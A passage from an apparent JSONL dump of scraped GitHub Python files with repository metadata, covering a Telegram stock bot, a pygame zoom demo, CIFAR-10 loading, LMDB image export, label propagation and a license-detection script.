Stock.Tesla('TSLA'))\n\n@bot.message_handler(commands=['buy'])\ndef sell_message(message):\n\tperson.set_person(message.chat.id, message.chat.username)\n\tif person.buy_stock(1, Stock.Tesla('TSLA')) == -1:\n\t\tbot.send_message(message.chat.id, \"Недостаточно средств\")\n\n@bot.message_handler(content_types=['text'])\ndef send(message):\n\tperson.set_person(message.chat.id, message.chat.username)\n\tif message.chat.type == 'private':\n\t\tif message.text == \"Посмотреть баланс\":\n\t\t\tbot.send_message(message.chat.id, 'Ваш баланс: ' + str(person.get_balance()) + '$.')\n\t\telif message.text == \"Портфолио\":\n\t\t\t# Btn in msg\n\t\t\t# markup = types.InlineKeyboardMarkup(row_width=2)\n\t\t\t# item1 = types.InlineKeyboardButton(\"+2\", callback_data='pTwo')\n\t\t\t# item2 = types.InlineKeyboardButton(\"+5\", callback_data='pFive')\n\t\t\t# markup.add(item1, item2)\n\t\t\tportfolio = person.get_portfolio()\n\t\t\tfor part in portfolio:\n\t\t\t\tbot.send_message(message.chat.id, f'Название: {part[0]}\\nКоличество: {part[1]}\\nВложенно средств: {part[2]}$')\n\t\telse:\n\t\t\tbot.send_message(message.chat.id, 'Неизвестная команда')\n\nbot.polling(none_stop=True)\n\n","repo_name":"ilipovcev/telegram-bot-Aliot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74120368231","text":"import pygame\nimport os\nos.chdir(os.path.join(os.path.dirname(os.path.abspath(__file__)), '../../resource'))\n\nwindow = pygame.display.set_mode((800, 600), pygame.DOUBLEBUF | pygame.HWSURFACE | pygame.RESIZABLE)\nmap = pygame.image.load('bg.png')\nmaprect = map.get_rect(center = window.get_rect().center)\nmapsurface = map\n\nrun = True\nwhile run:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n \n elif event.type == pygame.VIDEORESIZE:\n window = pygame.display.set_mode(event.dict['size'], pygame.DOUBLEBUF | pygame.HWSURFACE | pygame.RESIZABLE)\n mapsurface = pygame.transform.smoothscale(map, maprect.size)\n \n elif event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 4 or event.button == 5:\n zoom = 2 if event.button == 4 else 0.5\n mx, my = event.pos\n left = mx + (maprect.left - mx) * zoom\n right = mx + (maprect.right - mx) * zoom\n top = my + (maprect.top - my) * zoom\n bottom = my + (maprect.bottom - my) * zoom\n maprect = pygame.Rect(left, top, right-left, bottom-top)\n mapsurface = pygame.transform.smoothscale(map, maprect.size)\n \n window.fill(0)\n window.blit(mapsurface, maprect)\n pygame.display.flip()\n\npygame.quit()\nexit()\n","repo_name":"growcacti/min_example1","sub_path":"zoomcode.py","file_name":"zoomcode.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36780385446","text":"'''-------------------------------------------------------\n \\\\\\||///\n { - - }\n\t [][][_] [ @ @ ] [_][][]\n----------------------------------------------------------\nAuthor\t\t:\t\tYopen Hu\nfoldername\t:\t\tCIFAR10_train\nfilename\t: \tData_Preprocess.py\nDescription\t:\t\t\nDate \t By Version Change Description\n=========================================================\n18/11/13 HYP 0.1 extract data & read data\n---------------------------------------------------------\n 0ooo\n------------------------ooo0-----( )------------------\n ( ) ) /\n \\ ( (__/\n \\__)\n------------------------------------------------------'''\nimport numpy as np \nimport matplotlib.pyplot as plt \t# plot 2D data\nfrom PIL import Image\t\t\t\t# Python Image Library\n\n#------------------- funcation: unpickle ----------------\n# Description: \tOffical data package decode\n# Input :\tfile:\tthe location of package\n# Output :\tdict:\tthe data sheet from file\ndef unpickle(file):\n import pickle\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\n#--------- funcation: display_picture_CIFAR -------------\n# Description: \tDisplay a picture from CIFAR\n# Input :\tbatch:\tthe batch of target picture\n# \t\t\t\tindex:\tthe number of target picture\n# Output :\tNone\ndef display_picture_CIFAR(batch, index):\n\tpicture_data = batch[b'data'][index]\n\tpicture_label = batch[b'labels'][index]\n\tpicture = picture_data.reshape(3,32,32)\n\tpicture = picture.transpose(1, 2, 0)\t\t# Exchange of dimension\n\timg = Image.fromarray(picture,'RGB')\t\t# numpy -> image\n\tplt.imshow(img)\n\tlabel = batches_meta[b'label_names'][picture_label]\t\t# label translation\n\tlabel = label.decode('ascii')\t\t\t\t#decode so invert to string\n\tplt.title(label)\n\tplt.show()\n\n################################### load data #############################\n# For 'CIFAR10_batches/batches.meta':\n# label_names -- a 10-element list which gives meaningful names to the \n# \t\t\t\t numeric labels in the labels array described above. For \n#\t\t\t\t example, label_names[0] == \"airplane\", label_names[1] == \n#\t\t\t\t \"automobile\", etc.\n# keys: [b'num_cases_per_batch', b'label_names', b'num_vis']\nbatches_meta = unpickle('CIFAR10_batches/batches.meta')\n\n# For 'CIFAR10_batches/data_batch_X':\n# data --\ta 10000x3072 numpy array of uint8s. Each row of the array \n# \t\t\tstores a 32x32 colour image. The first 1024 entries contain \n#\t\t\tthe red channel values, the next 1024 the green, and the \n#\t\t\tfinal 1024 the blue. The image is stored in row-major order,\n#\t\t\tso that the first 32 entries of the array are the red channel \n#\t\t\tvalues of the first row of the image.\n# labels -- a list of 10000 numbers in the range 0-9. The number at index\n# \t\t\ti indicates the label of the ith image in the array data.\n# keys: [b'batch_label', b'labels', b'data', b'filenames']\nbatch1 = unpickle('CIFAR10_batches/data_batch_1')\n# batch2 = unpickle('CIFAR10_batches/data_batch_2')\n# batch3 = unpickle('CIFAR10_batches/data_batch_3')\n# batch4 = unpickle('CIFAR10_batches/data_batch_4')\n# batch5 = unpickle('CIFAR10_batches/data_batch_5')\n\n\n\ndisplay_picture_CIFAR(batch1, 1000)\n\n","repo_name":"yoooooohu/CIFAR10-train-by-KNN","sub_path":"181113_Data_Preprocess.py","file_name":"181113_Data_Preprocess.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4385686535","text":"from datetime import datetime as dt\nimport pyttsx3;\nimport datetime\nnow =dt.now()\ntday=datetime.date.today()\nprint(now)\nprint(\"year \",now.year)\nprint(\"month \",now.month)\nprint(\"day \",now.day)\nprint(\"hour \",now.hour)\nprint(\"minute \",now.minute)\nprint(\"second \",now.second)\n\nprint(\"weakday \", tday.weekday())\nmonth={7:\"Июль\"}\nday={0:\"Понедельник\",1:\"Вторник\",6:\"Воскресенье\"}\nkeyMonth=int(now.month)\nkeyDay=int()\nword=str(now.year)+\"й год \"+str(now.day )+\"й \"+month[int(now.month)]+day[int(tday.weekday())]+str(now.hour)+\"часов \"+str(now.minute)+\" минут\"+str(now.second)+\" секунд\"\nprint(word)\ndef saying(soz:str):#text to speech\n engine = pyttsx3.init();\n engine.say(soz);\n engine.runAndWait();\nsaying(word)\n","repo_name":"Adilbek97/Arduino_projects","sub_path":"robot_proby/prob8/date_prob.py","file_name":"date_prob.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20114132705","text":"import os\r\nimport lmdb\r\nfrom PIL import Image\r\nimport tempfile\r\n\r\n\r\ndef _export_mdb_images(db_path, className, out_dir=None, flat=True, limit=-1, size=256):\r\n out_dir = out_dir\r\n env = lmdb.open(\r\n db_path, map_size=1099511627776,\r\n max_readers=1000, readonly=True\r\n )\r\n count = 0\r\n with env.begin(write=False) as txn:\r\n cursor = txn.cursor()\r\n for key, val in cursor:\r\n key = str(key, 'utf-8')\r\n # decide image out directory\r\n if not flat:\r\n image_out_dir = os.path.join(out_dir, '/'.join(key[:6]))\r\n else:\r\n image_out_dir = out_dir\r\n\r\n # create the directory if an image out directory doesn't exist\r\n if not os.path.exists(image_out_dir):\r\n os.makedirs(image_out_dir)\r\n # This part works on Unix\r\n with tempfile.NamedTemporaryFile('wb') as temp:\r\n temp.write(val)\r\n temp.flush()\r\n temp.seek(0)\r\n image_out_path = os.path.join(image_out_dir, 'Label_' + str(className) + '_Train_'\r\n + str(count) + '_.png')\r\n Image.open(temp.name).resize((size, size)).save(image_out_path)\r\n\r\n # This part works on Windows\r\n # with tempfile.NamedTemporaryFile('wb', delete=False) as temp:\r\n # temp.write(val)\r\n # temp.flush()\r\n # temp.seek(0)\r\n # image_out_path = os.path.join(image_out_dir, 'Label_' + str(className) + '_Train_'\r\n # + str(count) + '_.png')\r\n # Image.open(temp.name).resize((size, size)).save(image_out_path)\r\n # file_name = temp.name\r\n # os.remove(file_name)\r\n\r\n count += 1\r\n if count == limit:\r\n break\r\n if count % 1000 == 0:\r\n print('Finished', count, 'images')\r\n\r\n\r\nif __name__ == '__main__':\r\n print(\"start\")\r\n db_path = \"path to lmbd\"\r\n out_dir = os.path.join(db_path, \"data\")\r\n _export_mdb_images(db_path, out_dir)","repo_name":"mehmet-dedeoglu/Continual-Learning-of-Generative-Models-with-Limited-Data","sub_path":"Adaptive-Barycenters_v1/LSUN_Project/Read_Write.py","file_name":"Read_Write.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"70651395444","text":"\nimport numpy as np\nimport pandas as pd\n\ndef create_control_case_translation_split_dataset():\n # create rotation matrix\n theta = np.pi/3\n c,s = np.cos(theta), np.sin(theta)\n R = np.array([[c,-s],[s,c]])\n\n # Control class\n num_samples = 400\n mean = np.array([1,-1])\n cov = np.diag([5,0.1])\n control = np.random.multivariate_normal(mean, cov, size=(num_samples,))\n\n # Case class\n num_samples = 400\n mean = np.array([-1,1]) # notice the difference\n cov = np.diag([5,0.1])\n case = np.random.multivariate_normal(mean, cov, size=(num_samples,))\n # rotate\n control = R@control.T\n case = R@case.T\n\n control_df = pd.DataFrame(data = {\n 'X': control[0],\n 'Y': control[1],\n 'Class': 'Control'\n })\n\n case_df = pd.DataFrame(data = {\n 'X': case[0],\n 'Y': case[1],\n 'Class': 'case'\n })\n \n df = pd.concat([control_df, case_df], ignore_index=True)\n df.to_csv('case_control_translation_split.csv', index=False) \n return 0\n\nif __name__ == '__main__':\n create_control_case_translation_split_dataset()\n \n\n","repo_name":"AllaVinner/Dimension-reduction","sub_path":"data/create_datasets.py","file_name":"create_datasets.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34863873377","text":"from collections import defaultdict\nimport numpy as np\nimport sys\n\n\n\ndef alignments(epron,jpron):\n #epron = ['W']\n #jpron = ['W','A','D']\n alings = []\n\n def all_alignments(alings,cur_e=0,start_j=0):\n if cur_e >= len(epron) and start_j >= len(jpron):\n return [[]]\n\n if cur_e>=len(epron) and start_j=len(jpron):\n return [['None']]\n\n\n temp_align=[]\n for j in range(start_j,start_j+5):\n if j< len(jpron):\n\n cur_align = [cur_e]* (j-start_j+1)\n\n result_align = all_alignments(alings,cur_e+1,j+1)\n for temp in result_align:\n if temp!=['None']:\n temp_align+=[cur_align+temp]\n return temp_align\n\n final_data = all_alignments(alings, 0, 0)\n\n final_dict={i:final_data[i] for i in range(len(final_data))}\n return final_dict\n\n\n\ndef read_data(file_name):\n train_data=[]\n fp = open(file_name,'r')\n count=0\n ep_bin=True\n for line in fp.readlines():\n count+=1\n if count%3==0:\n train_data+=[(ep,jp)]\n ep_bin=True\n continue\n\n if ep_bin==True:\n ep = line[:-1]\n ep_bin=False\n else:\n jp=line[:-1]\n ep_bin=True\n\n return train_data\n\n\ndef read_prob(file_name):\n align_prob = defaultdict(lambda :defaultdict(lambda : 0.001))\n fp = open(file_name,'r')\n #EY : E E # 0.582\n for line in fp.readlines():\n data = line[:-1]\n e_p = data.split(':')[0].strip()\n j_p_str =data.split(':')[1]\n j_p=j_p_str.split('#')[0].strip()\n prob = float(j_p_str.split('#')[1].strip())\n\n align_prob[e_p][j_p] = prob\n\n return align_prob\n\n\n\ndef choose_best(all_z,align_prob,train_data):\n best_z = defaultdict(tuple)\n for t_index in all_z:\n\n e_pron = train_data[t_index][0].split()\n j_pron = train_data[t_index][1].split()\n\n best_prob = 0\n best_align = None\n for key,z in all_z[t_index].items():\n z = np.array(z)\n prob=1\n for i,esym in enumerate(e_pron):\n indexes = np.where(z==i)[0]\n jsym=' '.join([j_pron[j] for j in indexes])\n prob*=align_prob[esym][jsym]\n\n if prob > best_prob:\n best_prob = prob\n best_align = (key,z,prob)\n best_z[t_index] = best_align\n\n return best_z\n\ndef read_data_arguments(lines):\n train_data = []\n count=0\n ep_bin=True\n for line in lines:\n count+=1\n if count%3==0:\n train_data+=[(ep,jp)]\n ep_bin=True\n continue\n\n if ep_bin==True:\n ep = line[:-1]\n ep_bin=False\n else:\n jp=line[:-1]\n ep_bin=True\n\n return train_data\n\n\n\n\n\n\nif __name__=='__main__':\n\n # file_name ='epron-jpron.data'\n # file_name1 = 'epron-jpron_dynamic.probs'\n arguments=sys.argv\n if len(arguments)>1:\n file_name1=arguments[1]\n\n\n lines = sys.stdin.readlines()\n\n train_data = read_data_arguments(lines)\n #train_data = read_data(file_name)\n align_prob = read_prob(file_name1)\n # train_data = [('S W EH T ER','S E E T A A')]\n\n all_z = {}\n for i in range(len(train_data)):\n all_z[i] = alignments(train_data[i][0].split(), train_data[i][1].split())\n\n\n\n best_z=choose_best(all_z,align_prob,train_data)\n\n\n ###printing_to a file in the format.\n for t_index in range(len(train_data)):\n e_pron = train_data[t_index][0]\n j_pron = train_data[t_index][1]\n best_align=' '.join(map(str, list(best_z[t_index][1] + 1)))\n print(e_pron)\n print(j_pron)\n print(best_align)\n\n\n\n\n\n\n\n","repo_name":"durgaharish1993/EM","sub_path":"viterbi_align.py","file_name":"viterbi_align.py","file_ext":"py","file_size_in_byte":3821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14632391372","text":"#coding=utf-8\nimport numpy as np\nimport time\nfrom multiprocessing import Pool\nimport os, multiprocessing\n\nglobal affinity_matrix\nglobal label_function\n\n\ndef knn(dataSet, query, k):\n numSamples = dataSet.shape[0]\n \n ## step 1: calculate Euclidean distance\n diff = np.tile(query, (numSamples, 1)) - dataSet\n squaredDiff = diff ** 2\n squaredDist = np.sum(squaredDiff, axis = 1) # sum is performed by row\n \n ## step 2: sort the distance\n sortedDistIndices = np.argsort(squaredDist)\n if k > len(sortedDistIndices):\n k = len(sortedDistIndices)\n \n return sortedDistIndices[0:k]\n \n \n# build a big graph (normalized weight matrix)\ndef buildGraph(MatX, kernel_type, rbf_sigma = None, knn_num_neighbors = None):\n num_samples = MatX.shape[0]\n\n affinity_matrix = np.zeros((num_samples, num_samples), np.float32)\n if kernel_type == 'rbf':\n if rbf_sigma == None:\n raise ValueError('You should input a sigma of rbf kernel!')\n for i in range(num_samples):\n row_sum = 0.0\n for j in range(num_samples):\n diff = MatX[i, :] - MatX[j, :]\n affinity_matrix[i][j] = np.exp(sum(diff**2) / (-2.0 * rbf_sigma**2))\n row_sum += affinity_matrix[i][j]\n affinity_matrix[i][:] /= row_sum\n elif kernel_type == 'knn':\n if knn_num_neighbors == None:\n raise ValueError('You should input a k of knn kernel!')\n for i in range(num_samples):\n k_neighbors = knn(MatX, MatX[i, :], knn_num_neighbors)\n affinity_matrix[i][k_neighbors] = 1.0 / knn_num_neighbors\n else:\n raise NameError('Not support kernel type! You can use knn or rbf!')\n \n return affinity_matrix\n \n \n# label propagation\ndef labelPropagation(Mat_Label, Mat_Unlabel, labels, kernel_type = 'rbf', rbf_sigma = 1.5, \\\n knn_num_neighbors = 10, max_iter = 500, tol = 1e-3):\n # initialize\n num_label_samples = Mat_Label.shape[0]\n num_unlabel_samples = Mat_Unlabel.shape[0]\n num_samples = num_label_samples + num_unlabel_samples\n labels_list = np.unique(labels)\n num_classes = len(labels_list)\n \n MatX = np.vstack((Mat_Label, Mat_Unlabel))\n clamp_data_label = np.zeros((num_label_samples, num_classes), np.float32)\n for i in range(num_label_samples):\n clamp_data_label[i][labels[i]] = 1.0\n \n label_function = np.zeros((num_samples, num_classes), np.float32)\n label_function[0 : num_label_samples] = clamp_data_label\n label_function[num_label_samples : num_samples] = -1\n \n # graph construction\n affinity_matrix = buildGraph(MatX, kernel_type, rbf_sigma, knn_num_neighbors)\n # print(affinity_matrix)\n # start to propagation\n iter = 0; pre_label_function = np.zeros((num_samples, num_classes), np.float32)\n changed = np.abs(pre_label_function - label_function).sum()\n\n start = time.time()\n\n while iter < max_iter and changed > tol:\n if iter % 1 == 0:\n #print (\"---> Iteration %d/%d, changed: %f\" % (iter+1, max_iter, changed))\n print()\n pre_label_function = label_function\n iter += 1\n \n # propagation\n #label_function = np.dot(affinity_matrix, label_function)\n\n\n\n\n\n\n\n label_function=MP(affinity_matrix,label_function)\n #label_function = GEMM(affinity_matrix, label_function)\n #label_function = f1(affinity_matrix,label_function)\n #print(label_function)\n\n\n\n\n\n # print(type(label_function),affinity_matrix.shape[0])\n\n # clamp\n label_function[0 : num_label_samples] = clamp_data_label\n \n # check converge\n changed = np.abs(pre_label_function - label_function).sum()\n\n end = time.time() - start\n print(end)\n\n\n # get terminate label of unlabeled data\n unlabel_data_labels = np.zeros(num_unlabel_samples)\n print(num_unlabel_samples)\n for i in range(num_unlabel_samples):\n\n unlabel_data_labels[i] = np.argmax(label_function[i+num_label_samples])\n \n return unlabel_data_labels\n\n#GEMM\ndef GEMM(affinity_matrix,label_function):\n c = np.zeros((affinity_matrix.shape[0], label_function.shape[1]))\n for i in range(0, affinity_matrix.shape[0]):\n for j in range(0, label_function.shape[1], 2):\n temp_m0n0 = 0\n temp_m0n1 = 0\n # c[i][j + 0] = 0\n # c[i][j + 1] = 0\n # c[i][j + 2] = 0\n # c[i][j + 3] = 0\n\n for k in range(0, affinity_matrix.shape[1]):\n temp_m0 = affinity_matrix[i + 0][k]\n #temp_m1 = affinity_matrix[i + 1][k]\n\n temp_n0 = label_function[k][j + 0]\n temp_n1 = label_function[k][j + 1]\n\n temp_m0n0 += temp_m0 * temp_n0\n temp_m0n1 += temp_m0 * temp_n1\n\n c[i + 0][j + 0] = temp_m0n0\n c[i + 0][j + 1] = temp_m0n1\n #c[i][j + 0] += affinity_matrix[i][k] * label_function[k][j + 0]\n #c[i][j + 1] += affinity_matrix[i][k] * label_function[k][j + 1]\n #c[i][j + 2] += affinity_matrix[i][k] * label_function[k][j + 2]\n #c[i][j + 3] += affinity_matrix[i][k] * label_function[k][j + 3]\n\n return c\n\n\n\n\n\n# 普通并行\ndef f (affinity_matrix,label_function,corei,core):\n M = affinity_matrix.shape[0]\n N = label_function.shape[1]\n K = affinity_matrix.shape[1]\n\n C = np.zeros((M,N))\n\n prange = int(M / core)\n print(M)\n for m in range (corei*prange,(corei+1)*prange):\n for n in range (0,N):\n #temp_m0n0=0\n\n # C[m][n + 0] = 0\n # C[m][n + 1] = 0\n\n for k in range (K):\n #temp_m0 = affinity_matrix[m + 0][k]\n #temp_n0 = label_function[k][n + 0]\n #temp_m0n0 += temp_m0*temp_n0\n\n C[m][n + 0] += affinity_matrix[m+0][k] * label_function[k][n + 0]\n # C[m][n + 1] += affinity_matrix[m][k] * label_function[k][n + 1]\n #C[m][n + 0] = temp_m0n0\n\n print(os.getpid())\n return C\n\n\n# 原始方法\ndef f1 (affinity_matrix,label_function):\n c = np.zeros((affinity_matrix.shape[0], label_function.shape[1]))\n a0=int(affinity_matrix.shape[0])\n l1=int(label_function.shape[1])\n a1=int(affinity_matrix.shape[1])\n for i in range (0,a0):\n for j in range (0,l1):\n for k in range (0,a1):\n c[i][j] = c[i][j] + affinity_matrix[i][k] * label_function[k][j]\n # print(os.getpid())\n return c\n\n\n\n#并行\ndef MP(affinity_matrix,label_function):\n #affinity_matrix=affinity_matrix\n # global c\n #c = np.zeros((affinity_matrix.shape[0], label_function.shape[1]))\n # print('多进程执行') # 并行执行\n #pool = Pool(multiprocessing.cpu_count()) # 创建拥有4个进程数量的进程池\n #print(os.getpid())\n core=2\n pool=multiprocessing.Pool(core)\n\n# params = [A(i, j) for i in range(10) for j in range(5)]\n # # pool.map(f, params)\n\n # r1 = pool.apply_async(f2, (affinity_matrix, label_function))\n # #res = pool.apply_async(os.getpid, ())\n # m_result=[pool.apply_async(os.getpid,()) for i in range(core)]\n\n # for i in range(core):\n # r = pool.apply_async(f, (affinity_matrix, label_function,i,core))\n # r1 = pool.apply_async(f1, (affinity_matrix, label_function))\n # r2 = pool.apply_async(f2, (affinity_matrix, label_function))\n #print(i)\n\n sub_results = [pool.apply_async(f, (affinity_matrix, label_function,i,core)) for i in range(core)]\n #print()\n complete_result = 0\n print(sub_results)\n for sub in sub_results:\n #print(sub.get())\n complete_result += sub.get()\n\n\n #result=pool.apply(f,args=(affinity_matrix,label_function))\n #result=pool.map(f, range (0,affinity_matrix.shape[0]))\n # pool.close() # 关闭进程池,不再接受新的任务\n # pool.join() # 主进程阻塞等待子进程的退出\n #print()\n #return result\n #print(r.get())\n #print(r1.get()+r2.get())\n #return r1.get()+r2.get()\n #return r.get()\n #print(complete_result)\n return complete_result\n\n #return sub_results\n # t3 = time.time()\n\n","repo_name":"yzakzero/ProjectParallelLP","sub_path":"lp.py","file_name":"lp.py","file_ext":"py","file_size_in_byte":8150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29985725157","text":"# -*- coding:utf-8 -*-\r\n'''\r\n\r\n\r\n\r\n'''\r\n\r\nimport re\r\nimport os\r\n\r\nimport utils\r\n\r\nrootDir = os.path.dirname(os.path.abspath(__file__))\r\n#unDir = os.path.join(os.path.dirname(rootDir), 'repos') #####\r\nunDir = os.path.join(rootDir, 'repos')\r\n\r\n\r\noutputDir000 = rootDir + '/output/'\r\noutputDir = rootDir + '/output/pros/'\r\nDIR = outputDir\r\n\r\n\r\nlicenseDir = os.path.dirname(os.path.abspath(__file__))+'/data/licenses'\r\n\r\n\r\n\r\nREGEXP = [\r\n re.compile(r'^import (.+)$'),\r\n re.compile(r'^from ((?!\\.+).*?) import (?:.*)$')\r\n]\r\n\r\n\r\ndef checkPackageImport2(filepath):\r\n try:\r\n imports = []\r\n with open(filepath, 'r', encoding=\"utf-8\") as fr:\r\n for line in fr.readlines():\r\n if \"import \" in line:\r\n if \"from\" in line:\r\n match = REGEXP[1].match(line.strip())\r\n if match:\r\n name = match.groups(0)[0]\r\n for im in name.partition(' as ')[0].partition(','):\r\n nm = im.strip().partition('.')[0].strip()\r\n if len(nm) > 1:\r\n imports.append(nm)\r\n else:\r\n match = REGEXP[0].match(line.strip())\r\n if match:\r\n name = match.groups(0)[0]\r\n for im in name.partition(' as ')[0].partition(','):\r\n nm = im.strip().partition('.')[0].strip()\r\n if len(nm) > 1:\r\n imports.append(nm)\r\n return list(set(imports))\r\n except Exception:\r\n print(filepath)\r\n return []\r\n\r\n\r\n\r\n\r\nfrom treelib import Tree, Node\r\ntree = Tree()\r\nnid_filepath = {}\r\nnid_textNeedTE = {}\r\nnid_matchedLnameList = {}\r\n\r\nlicense_check, _ = utils.get_licenseNameList1(os.path.dirname(os.path.abspath(__file__))+'/data/filter-exclude-list.txt')\r\nlicenseNameList = utils.get_licenseNameList2(licenseDir)\r\nlicenseTextDict = utils.get_licenseTextDict2(licenseDir)\r\n\r\n\r\n\r\ndef add_node(parent, ziji, ziji_content, checked=True):\r\n '''\r\n\r\n :param parent:\r\n :param ziji:\r\n :param ziji_content:\r\n :param checked:\r\n :return:\r\n '''\r\n tree.create_node(parent=parent, identifier=ziji, tag=ziji_content)\r\n return ziji\r\n\r\n\r\ndef update_tag(nid, tag):\r\n\r\n # tree.update_node(nid=nid, attrs={'tag':tag}) ## (这个函数似乎没起作用,,)\r\n tree[nid].tag = tag\r\n\r\n print(\"更新PL\")\r\n print(nid, tag)\r\n print(\"现在的PL为:\")\r\n print(tree[nid].tag)\r\n\r\n return\r\n\r\n\r\n\r\nIDsave = 0\r\ndef gen_id():\r\n global IDsave\r\n IDsave += 1\r\n return IDsave\r\ndef rmv_id():\r\n global IDsave\r\n IDsave -= 1\r\n return IDsave\r\n\r\n\r\ndef checkPro(dir, parent, fg):\r\n '''\r\n\r\n :param dir:\r\n :param parent:\r\n :return:\r\n '''\r\n\r\n '''\r\n (目标项目的存放路径)\r\n '''\r\n repoDir = os.path.join(unDir,dir)\r\n\r\n dir_prt = parent\r\n pac_prt = parent\r\n\r\n print(repoDir) ###\r\n\r\n # (先看file后看py)(对结果有影响。)\r\n FileList = []\r\n for dd in os.listdir(repoDir):\r\n dd_path = os.path.join(repoDir, dd)\r\n if os.path.isfile(dd_path) and not dd_path.endswith(\".py\"):\r\n FileList.append(dd)\r\n for dd in os.listdir(repoDir):\r\n dd_path = os.path.join(repoDir, dd)\r\n if os.path.isfile(dd_path) and dd_path.endswith(\".py\"):\r\n FileList.append(dd)\r\n\r\n #####\r\n for dd in FileList:\r\n dd_path = os.path.join(repoDir, dd)\r\n print(dd_path) ###\r\n\r\n text = ''\r\n # if not dd_path.endswith(\".py\") and utils.checkLicenseFileName(dd):\r\n if utils.checkLicenseFileName(dd):\r\n text = utils.read_text(dd_path)\r\n if text and utils.check_text_for_licenseWords(text, license_check, licenseNameList):\r\n '''\r\n matchedLnameList0 = utils.match_availableText_for_possible_refLicenseTexts(text, licenseTextDict)\r\n refText, matchedLnameList1 = utils.add_possible_refLicenseTexts(licenseNameList, text, './data/licenses')\r\n text += refText\r\n '''\r\n matchedLnameList0 = utils.match_availableText_for_possible_refLicenseTexts(text, licenseTextDict)\r\n refText, matchedLnameList1 = utils.add_possible_refLicenseTexts(licenseNameList, text, licenseDir)\r\n textNeedTE = True\r\n if matchedLnameList0:\r\n textNeedTE = False\r\n\r\n if parent == 1 and fg != -1:\r\n # (PL若多个文件 认为是互相补充的 故合成一份text(一个节点))\r\n update_tag(nid=fg, tag=tree[fg].tag + text) # setup.py和__pkginfo__.py也可能会进入这里\r\n '''\r\n \r\n '''\r\n if nid_textNeedTE[fg] or textNeedTE:\r\n nid_textNeedTE[fg] = True\r\n else:\r\n nid_textNeedTE[fg] = False\r\n # if not nid_textNeedTE[fg] or not textNeedTE:\r\n # nid_textNeedTE[fg] = False\r\n\r\n else:\r\n file_id = gen_id()\r\n dir_prt = add_node(parent, file_id, text)\r\n nid_filepath[file_id] = repoDir ###\r\n nid_matchedLnameList[file_id] = matchedLnameList0 + matchedLnameList1\r\n nid_textNeedTE[file_id] = textNeedTE\r\n pac_prt = dir_prt\r\n print('pac_prt=',pac_prt)\r\n\r\n if parent == 1:\r\n fg = file_id\r\n\r\n if dd_path.endswith(\".py\"):\r\n pac_prt_py = int(pac_prt) # (同地址赋值;引用赋值)\r\n text = utils.extract_comments_in_pyFile(dd_path)\r\n if text and utils.check_text_for_licenseWords(text, license_check, licenseNameList):\r\n matchedLnameList0 = utils.match_availableText_for_possible_refLicenseTexts(text, licenseTextDict)\r\n refText, matchedLnameList1 = utils.add_possible_refLicenseTexts(licenseNameList, text, licenseDir)\r\n textNeedTE = True\r\n if matchedLnameList0:\r\n textNeedTE = False\r\n\r\n if (dd=='setup.py' or dd=='__pkginfo__.py') and parent == 1 and fg != -1:\r\n # (setup.py可能也加进去(一般只涉及到PL))\r\n update_tag(nid=fg, tag=tree[fg].tag + text)\r\n '''\r\n if nid_textNeedTE[fg] or textNeedTE:\r\n nid_textNeedTE[fg] = True\r\n else:\r\n nid_textNeedTE[fg] = False\r\n '''\r\n if not nid_textNeedTE[fg] or not textNeedTE:\r\n nid_textNeedTE[fg] = False\r\n\r\n else:\r\n inline_id = gen_id()\r\n pac_prt_py = add_node(pac_prt, inline_id, text)\r\n nid_filepath[inline_id] = os.path.join(repoDir, dd) ###\r\n nid_matchedLnameList[inline_id] = matchedLnameList0 + matchedLnameList1\r\n nid_textNeedTE[inline_id] = textNeedTE\r\n\r\n packages = checkPackageImport2(dd_path)\r\n for aa in packages:\r\n if aa in library_license.keys():\r\n ll = library_license[aa] #\r\n print(' ', aa, ':::::', ll)\r\n # (找到ll对应的text)\r\n refText, matchedLnameList1 = utils.add_possible_refLicenseTexts(licenseNameList, ll, licenseDir)\r\n text = ''\r\n #if text: # (能在SPDX找到的才算进去吧,,)\r\n if matchedLnameList1:\r\n ll_id = gen_id()\r\n add_node(pac_prt_py, ll_id, text)\r\n nid_filepath[ll_id] = os.path.join(repoDir, dd) + ':' + aa ###\r\n nid_matchedLnameList[ll_id] = [] + matchedLnameList1\r\n nid_textNeedTE[ll_id] = False\r\n\r\n\r\n\r\n for dd in os.listdir(repoDir):\r\n dd_path = os.path.join(repoDir,dd)\r\n\r\n if os.path.isdir(dd_path):\r\n # print(dd_path)\r\n '''\r\n 递归!\r\n '''\r\n checkPro(dd_path, dir_prt, fg)\r\n\r\n\r\n return\r\n\r\n\r\ndef check_PL(repo):\r\n repoDir = os.path.join(unDir, repo)\r\n repoDir = os.path.join(repoDir, os.listdir(repoDir)[0])\r\n '''\r\n 按从GitHub下载的文件夹 第二层才是正经文件\r\n '''\r\n\r\n\r\n for file in os.listdir(repoDir):\r\n itsCompletePath = os.path.join(repoDir, file)\r\n print('check_PL:', itsCompletePath)\r\n\r\n if os.path.isfile(itsCompletePath):\r\n\r\n text = ''\r\n if utils.checkLicenseFileName(file):\r\n text = utils.read_text(itsCompletePath)\r\n\r\n if text:\r\n '''\r\n \r\n return True\r\n '''\r\n if utils.check_text_for_licenseWords(text, license_check, licenseNameList):\r\n return True\r\n\r\n nid_filepath[-1] = repoDir\r\n nid_matchedLnameList[-1] = []\r\n nid_textNeedTE[-1] = 